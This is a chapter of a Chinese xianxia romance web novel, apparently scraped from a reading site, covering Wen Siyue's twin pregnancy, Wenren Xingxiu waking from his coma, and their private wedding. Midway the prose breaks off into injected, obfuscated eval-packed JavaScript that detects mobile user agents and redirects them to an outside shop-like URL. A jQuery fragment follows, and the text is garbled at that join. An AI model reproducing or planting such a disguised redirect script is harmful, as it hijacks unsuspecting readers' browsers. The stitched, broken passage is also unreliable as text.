“师姐有了?”
“师姐怀了?”
“师姐你怀谁的了。”
砰砰……咕咕因为自己那张嘴成功地趴在了地上。
金烟儿瞪了他一眼,“别以为你长得好看就可以乱说话,师姐有身孕了当然是三师伯的。”
“活该!”宁羽冷冷的瞥了他一眼,末了还得补上一脚。
咕咕仰天长啸,“天地可鉴,我就是随口一说啊。”
咕咕受伤,咕咕难受变成飞鸟跑了,金烟儿还想着把这事告诉别人,被宁羽一下看穿了心思,“喂,师姐怀有身孕的事,你,暂时别跟别人说。”
“为什么?”金烟儿不懂,“这是值得高兴的事,为什么不说。”
宁羽也说不上来,只是觉得,这事还是让当事人自己说要好点,“总之你别说就对了。”
“好吧好吧,那我跟我师父说没事吧。”
宁羽想了想点点头,“行,不过别的人你就别说了。”他说完看了看咕咕飞走的方向,知道他多半又躲万水千山去了。
-
等秋梧院安静下来以后,那床上躺着的男人手突然动了一下,他方才好像听到了什么,只是有些模糊,随后猛的睁开眼。
[师叔,你就算不相信,也要想想我跟孩子吧。]
那话在耳边清晰,醒来后屋内也都是温似月的气息,闻人行修坐起来在床边愣了很久。
他失去意识的时候,还是夏末,此刻院中梧桐树已经开始泛黄落叶,站起身时还晃了一下,看看屋内仿佛到处都是温似月的影子。
那熟悉的石头映入眼帘,他捏紧拳头,有些不敢相信,又有些焦急,拿走书架上的书,然后便发现密室中少了不少东西。
宁羽肯定不敢,那就只有……
推开门,那梧桐树下的秋千上放着披风,微风吹起,秋千晃动了一下,空气中依稀还残留着温似月的气息。
他眼睛一亮,几乎是瞬间便消失在秋梧院。
沈知观把脉的手久久没有松开,华青灵在一旁比温似月还急,毕竟温似月确实还处于很疑惑的状态。
过了好一会,他才点点头,“确实是喜脉。”
温似月:……
“我就说我没把错吧,阿月你真的有了。”
“只是……”沈知观又慢吞吞的冒出来一句。
华青灵瞪了他一眼,“你磨磨唧唧的,一句话到底要说多久,只是什么?”
“按阿月的脉象来看,应该是双胎,快一个月了。”
“有了,还是双胎!”华青灵的高兴已经不是两句话能形容的了,谁不知道这修行者自然孕育本就不容易,而她一来就是双胎,这在凤倾山可是大事。
“不行,我得去告诉掌门师兄。”
这么高兴的事,当然要整个凤倾山都知道,她刚要走,被温似月拉住,“四师叔,我想,再等等。”
“等什么?你是怕大家说闲话吗,阿月,你在山上长大,大家都了解你,而且这孩子明显就是闻人师兄的,我们都明白,还是你在害怕?”
温似月摇摇头,“我只是……”她也说不上来,昨晚在闻人行修灵府的时候,自己还觉得是说了谎骗他,可今日就有人告诉自己,她确实有了身孕,一时让她有些反应不过来。
“你若是担心,我们……”华青灵依旧劝着。
“师姐。”沈知观叫了一声,对她摇摇头,“闻人现在也还没醒,或许阿月有她自己的考量,我们再给她一点时间。”
虽然他们对闻人行修何时要醒的事,都没有把握,可只要他还活着一天,是肯定能醒的,但养育孩子,本来就不是一个人的事,她或许还没有做好准备。
华青灵犹豫了一下,“行吧,但这事还是要告诉师兄他们,至于你何时想给那些弟子说,就看你自己了。”
“谢谢四师叔。”
“知道你担心闻人师兄,放心吧,就算他不醒,我们也能把你和孩子照顾的好好的。”
“不劳烦你们了,孩子我会自己照顾。”他几乎是从秋梧院一闪身,就到了九霄楼中。
熟悉的身影,熟悉的气息,温似月转身,便看到了站在门口的男人,眼眶顿时红了。
“这下好了,孩子他爹也出来了,师姐想跟谁说赶紧去吧,我,我去喂喂我的鸟。”
华青灵是先走的,沈知观说完也识趣的走了,随后又把在门边提醒了一句,“那个,孩子还小,你们稍微注意点啊。”
虽然每日都在灵府见面,可那是不一样的,温似月咬唇看向他,“你舍得出来了。”
闻人行修没说话,上前两步将她拥入怀中,“是阿肆?”
“不然呢。”温似月欲哭无泪,这人怎么总是要确认好几次,才敢肯定啊。
“真的是阿肆。”
温似月挣扎着推开他一些,“那师叔以为我是谁。”
“我,我只是太高兴了,我……”
在灵府中的这一个月,每日他都浑浑噩噩的,因为不敢相信,不想接受,所以他宁愿自己陷在那幻象中,只是当看到温似月好好的站在自己眼前的时候,他的高兴,不是言语能表达的。
温似月去抓着他的手,放在自己脸颊上,“我是阿肆,是你的阿肆,知道了,有温度的,不是假的。”
这是第一次,温似月见他掉眼泪的样子,她没忍住也红了眼。
“阿肆不哭,你在就好,你在就好。”他又一次将她拥进怀中,这一次,再没人能将他们分开。
-
“咳咳咳……”听完咕咕说的话,尘归星一杯水差点喝到鼻子里,咳的眼泪都溢出来了。
孟不昭在旁边一个劲的给他拍着背。
“不是,你把你刚才的话再说一遍,我有点没听清?”倒不是没听清,而是他有些不相信。
不过咕咕现在正在伤怀中,同一句话不想说第二遍,倒是孟不昭开了口。
“他说,阿月有身孕了。”孟不昭不满的看向趴在桌子上的咕咕,眼神埋怨他让尘归星不舒服了。
尘归星却是一笑,“不能吧,我只是提醒她可以用这个方法,诓骗闻人师兄,她怎么还跟你们开玩笑了。”
“诓骗?玩笑?”咕咕瞥向他,“小师叔莫不是糊涂了不成,是清池苑的四师叔把出来的呀,为何要诓骗师父。”
“真有了?”这会尘归星瞪大眼,手往后推了一下,不让孟不昭碰自己,立马站起身,“要真有了,那还得了,快快快,去秋梧院瞅瞅。”
金烟儿过来的时候,正好和他们在门口碰上,“师父。”
“嗯,何事?”
金烟儿看到尘归星肩头的咕咕,“你们是去秋梧院么。”
“嗯,咕咕说你阿月师姐有身孕了。”孟不昭随口答着。
“他的嘴倒是快,不过他们现在应该是在九霄殿那边,四师伯怕自己把错了,去找六师叔了。”
“那还等什么,赶紧去啊。”
只是等他们走到九霄殿的时候,人早就已经不在了,随后他们慢悠悠的往秋梧院晃去,
只是这事被华青灵一宣传,不过一个时辰的功夫,不但闻人行修醒了的事大家都知道了,连温似月怀了双胎的事,大家都知道的清清楚楚。
等他们到秋梧院的时候,门口已经围了个水泄不通,这凤倾山多久没有如此大的喜事,个个伸长了脑袋往里看。
闻人行修带着人回来的时候,没过多久他们便上了门,原本他就不爱热闹,更不可能会让他们参观,所以早早挥手设了结界,不让这些人进秋梧院。
“四师伯,三师伯这是害羞了还是怎么,还不让我们看看阿月师妹了。”
“对啊,让我们瞧瞧也少不了块肉。”
凤倾山之上,不比那凡尘的宗门,而大多有天赋的也早早送了上来,可一旦上了这灵山,进了修行之道,孕育新生命的事,便成了一种随缘之事。
而凤倾山已经几百年没有自然孕育新生命了,这让大家都觉得好奇。
不仅那些弟子被拦在了外面,连华青灵也被拦在外面,想来也闻人行修怪她多嘴,让大家都知道了这事。
“我说,三师兄,你未免也太小气了吧,这可是喜事啊,分享给大家怎么了。”
外面吵得闹哄哄的,可闻人行修不管,回来就已经带着她去了后山,此刻梧桐树下,就只有那宁羽一脸淡定的抄着心经。
他原本是想去万水千山找咕咕的,可才出门走了没几步,便感觉到了闻人行修醒了,所以又回了秋梧院,进屋一看果然床上没了人。
知道师父是寻着师姐的气息找人去了,也就索性不去那万水千山,留下来等着师父和师姐回来。
“宁羽啊……”
“好阿羽啊。”
“宁羽师弟……你开开门让我们进去啊。”
不管外面闹成什么样,宁羽这边依旧安安静静的写着心经,就在他又准备落笔的时候,突然停顿了一下。
于是整个人群安静了,因为肩头站着鸟的尘归星在众目睽睽之下大步走了进去,而他旁边的孟不昭和金烟儿无情的被拦在了外面。
孟不昭那脸拉的老长,可求人让自己进去的话,他一句都说不出来,只能眼睁睁的看着尘归星走到宁羽跟前坐下。
“那两呢?”
宁羽抬手指了指后面,那里是后山林中小院的方向,尘归星知道闻人行修刚出来,估计带着心爱的女人亲热去了,也就没说要进去看看的话。
“你两又闹什么脾气呢?”这会尘归星指的是谁,在座的两人一鸟自是明白。
“我与他能有什么事?让小师叔操心了。”宁羽说着,像是不经意的看了看他的肩头,那咕咕身子莫名抖了一下,然后老老实实飞到了宁羽旁边。
“他不过就是一只刚开智的鸟,你倒不必对他那么苛刻。”
宁羽哼了一声,知道这家伙估计得了眼前这位小师叔的眼缘,如今是睁着眼睛说瞎话呢。
“若是小师叔喜欢,让他去你那里当个看门的倒也不错。”
“这……“尘归星的目的是来看闻人行修那两人的,为咕咕说话不过是顺带的事,他可不想惹的自己一身骚,“阿羽现在不可爱了。”
这话原本没什么问题,可宁羽一听到这个,那下笔的手都哆嗦了一下,咕咕更是吓的一扑腾翅膀满天乱飞,就是不敢靠近宁羽身边。
尘归星观察了一下,试探着,“不过虽然不那么可爱,但好歹出门不用人操心了,可若说起来,我还是喜欢你以前的样子,多可爱啊。”
他刻意加重了可爱两个字,随后便是那惨叫声,咕咕已经飞的很远了,可现在的宁羽不再是以前,只需要动动耳朵,就知道他在何处,怎会扎错鸟。
“哈哈哈,有点意思。”尘归星笑的开心。
宁羽当然知道他是故意的,可他就是忍不住,咕咕被钉在那里,动都不敢动,心知自己若再抗拒一下,估计真能去万水千山当看门鸟,比起那个,他还是觉得和可爱的宁羽待在一起更好些。
虽然会有“生命危险“,可他乐意。
围在秋梧院的人见没有进去的可能,最后一哄而散,倒也还了秋梧院一片宁静,金烟儿没有孟不昭那么大的气性,跟着师姐们也走了。
“既然你师父还不想见人,那就等他想出来的时候,再讨论他跟阿月的事吧。”
尘归星这话说完便离开,而等大家再见到那两人的时候,已经是三天后的事了。
闻人行修将温似月困在林中小院中,说什么都不让她走。
“师叔,我跑不了,外面还有很多事要处理呢,你醒了得跟大家说一声吧,你说你都睡了一多月了,你怎么能这么小孩子气……”
温似月从来不知道,抱着自己的男人能如此的粘人。
“不管他们,他们自己会找事做的。”
“可是……”温似月还要说什么,已经被人堵了嘴。
“嗯~肚子……你小心些。”
闻人行修的大掌放在她的小腹处,温热游走温似月全身,自从被送进凤倾山以后,他就没想过能拥有自己的孩子,而现在,这里有两个属于自己的亲骨肉。
一吻结束,闻人行修又忍不住地啄了两口,惹得温似月嘿嘿的笑了起来。
“痒……”随后便是咕噜的叫声,她尴尬地看了看抱着自己的男人,“可不是我饿了,他们饿了。”
明明每日都在见面,可闻人行修怎么都看不够她,许是知道腹中已经怀了孩子,温似月亦多了几分慈母气质,连带着看向闻人行修的目光都多了几分慈爱。
“今日我想吃阿羽做的糕点,要……”她的话才说了一半,人已经睡了过去。
林中小院的两人这三日过的好似不知今夕是何年,外面可是不一般的热闹,原本就准备好的婚礼,在得知温似月有了身孕的情况下,又铺张浪费了一把。
连那一毛不拔的铁公鸡孟不昭,竟然都花了大手笔,给那温似月腹中还未出生的胎儿,定制了两把纯金的长命锁。
等温似月二人出来的时候,那其他各院送来的礼都已经摆满了整个秋梧院。
“这不太好吧。”那些礼物看来都挺贵重,温似月有些受宠若惊。
若是以前闻人行修也是不屑的,可这次他倒是一边看一边满意的点点头,“好,怎么不好。”说完还不忘让宁羽都收到小金库里。
那听闻他们已经从后院出来的几位师父,人已经赶了过来。
陆夜这几日笑得嘴都没合拢过,看看温似月,怎么看怎么喜欢,这可不仅仅是凤倾山的大喜事,就是放在别的仙山灵府,都是让人羡慕的存在。
前一日还有几个散修,听闻凤倾山有新生命快出生,那个羡慕全在脸上,而得到消息的其他门派,更是送了不少好礼上门,大意都是想来参加婚礼的,要不就是想等孩子出生,来一见尊容的。
总之,温似月有了身孕这事,不仅是凤倾山的喜事,更是让整个七星宫在修仙门派中长了不少面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454462|197764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“掌门师叔。”
“我说阿月啊,这两日身子可好些了,我送了些补品过来,没事就让阿羽给你熬汤补补。”
“谢谢掌门师叔。”
“都是一家人,这还客气啥。”
最后在几个师叔的关心声中,温似月又收了不少东西,而成亲行礼的日子,就定在三天后。
每日温似月都在大家的热情中度过,夜晚闻人行修总会将她拥在怀中,怎么都不肯放开。
“怎么样,会不会太累。”
婚礼较之前,有很多细节要重新准备,其实温似月也没怎么忙,大多时候都是她人才刚要做什么,立马就有别的人接手过去,弄到最后,她倒显得有些不好意思起来。
“累什么啊,师叔他们都不让我动手。”温似月拱进他怀中,许是有了身孕,每日都在瞌睡与清醒之间游走。
“他们开心就让他们忙吧,毕竟你现在不是一个人,别累着自己。”
温似月嗯了一声,闭着眼,“你还没说你这两日都在忙什么呢?”
明日就是行礼的时间,可温似月白天总见不到他人,不知道都干什么去了,问完打了个哈欠又睡了过去。
闻人行修笑了笑,又紧了紧抱住她的手。
第二日天还没亮,秋梧院已经吵了起来,大家站在闻人行修卧室门前,愣是没有一个人敢上前去敲门的。
虽然他是变了很多,可他那冷漠的性子已经深入大家脑髓,谁敢没事去招惹他啊。
“掌门师兄?你们怎么在这。”宁羽拉开门的时候,就看到大家站在院中,来回走动着。
“还问呢,这都什么时辰了,赶紧叫你师父起来了。”陆夜显然是有些抱怨的。
“可不,还得给阿月好好打扮一下呢,怎么就不知道体谅人。”华青灵在旁边附和着。
原本是要一早准备的,可闻人行修怕累着她,说什么都不让他们动。
宁羽愣了一下,看了看师父卧房门,“可是师父一早就已经走了啊。”
在场的人皆是一惊。
陆夜:“你说他走了?去哪儿了。”
“不知道,师父没说。”宁羽老实交代,站在肩上的咕咕,什么都不敢说。
倒是那人群中的尘归星,像是早就料到了,“既然闻人师兄,有自己的想法,你说我们非要图这热闹干嘛,要不……”
“我看要不就随便随便,然后让来的宾客玩乐个尽兴就行了。”沈知观听到尘归星的话,大抵也猜到点什么,也跟着扯了两句。
这会也就只有陆夜这个掌门,脸黑的不像样了,“这大婚的日子,两个新人不在,成何体统!”
他说完甩甩袖子,显然也是知道自己把人没办法,还不如离的远远的省的看见了更闹心。
而此刻,七星宫祖师殿中,一身大红喜袍的二人,就跪在那处。
“你会不会怪我,没有将行礼之事昭告众人。”闻人行修轻声问道。
温似月摇摇头,在大多数人看来,闻人行修是个冷漠寡淡的人,其实他心底深处是个很念旧也很长情的一个人。
祖师殿中放着师祖在人间的法器和画像,以此来让七星宫的弟子瞻仰。
而闻人行修不想在众人面前行礼,除了不喜热闹以外,也是想让温似月知道,自己不在乎那些俗礼,她在就够了,可另一方面,他也担心对方会怪自己自私。
好在温似月了解他,并不觉得有什么不妥,“这样很好,我听师叔他们说起过,师祖出去游历时,也总带着你,想来你对师祖的感情与别的师叔也不一样。”
闻人行修牵着她的手,方才在殿中,便说了很多,这会温似月说完,他点点头,“我天赋在几个师兄弟中,天赋比较高,说起来和师祖关系最好的,还是不昭那人。”
“倒是听小师叔说了两句。”
“不说别的事了,既然已经告知了师祖,也算是行过礼了,剩下的便是我们自己的时间了。”
一阵风过,就仿佛他们从未出现在这里一样,再反应过来的时候,温似月已经被闻人行修带着回到了后山的林中小院。
在众人以为闻人行修带人跑了的时候,他竟在这林中小院,单独为温似月准备了一个完整的婚房。
“师叔你这是什么时候准备的。”
闻人行修没有回答,只是笑着带她走了进去,未来他们有很多的时间。
月光下,红烛亮,山外满堂喝彩
情人眼,双眸间,屋内一室温馨
“师叔,快说啊,你到底什么时候准备的这些。”虽然少了热闹,可温似月也更喜欢这种简单的温馨。
闻人行修不语,将手中红枣塞进她的嘴中。
“师叔~”
又塞了花生进去,他依旧笑着。
温似月被他认真的表情逗笑,这一咧嘴,又被塞了一个桂圆。
“师叔,你干嘛啊……”
最后的莲子塞到嘴里以后,闻人行修才一副如释重负的表情,虽然他也不喜欢这种俗礼,可华青灵的话在脑海中一直挥之不去。
前一天
来回忙到脚不沾地的人,看到那好像一副没事人的主角,自然免不得一顿抱怨。
“我说三师兄,别觉得这些事麻烦,对普通人来说,这些规矩可是一点少不了的,那放在喜桌上的东西,可要讲规矩些,红枣花生桂圆莲子,可是一点都不能落下的。”
闻人行修睨了一眼,”嗯?”
“倒也是,没人教你这些,你不懂……”华青灵说完,也没当一回事的走了。
可闻人行修知道的,所以才会特意在进了婚房以后,将这些事都做上一遍。
“师叔,我们以后就是道侣了。”
“嗯。”
温似月看得出来,他心情很好。
夜已深,温似月犹豫了一下,从乾坤袋中将那一对指环拿了出来放到他眼前,“师叔,这原本不是买给你的,你也知道,我只是希望你不要介意,毕竟……”
她的话没有说完,闻人行修自己就先将那指环拿到了手中,“只要是阿肆给的,我都不会介意。”
“嗯,”两人各自将指环戴到对方的手指上,随后温似月红着脸凑到他耳边,轻轻说了一句:我一直都只有师叔你。
闻人行修有些疑惑,不知道她说的是什么意思,随后见她红了脸,似懂了些许,“阿肆,我说过我……”
她亲了他一下,她当然知道他要说什么,说自己不在意,可温似月想告诉他。
“你渡劫的时候,在灵台山山顶,我们两就……”她声音小了些,想来是不好意思,闻人行修更是愣住。
“我,我以为那是我的心魔,那夜……”
那日心魔过甚,稍加回忆,他便能记起那日自己都做了什么,当时因为渡劫,受心魔影响,自己恐怕……
再看看眼前人,“我也是,一直只有阿肆你。”
没有再多的情话,走到如今,便是彼此之幸。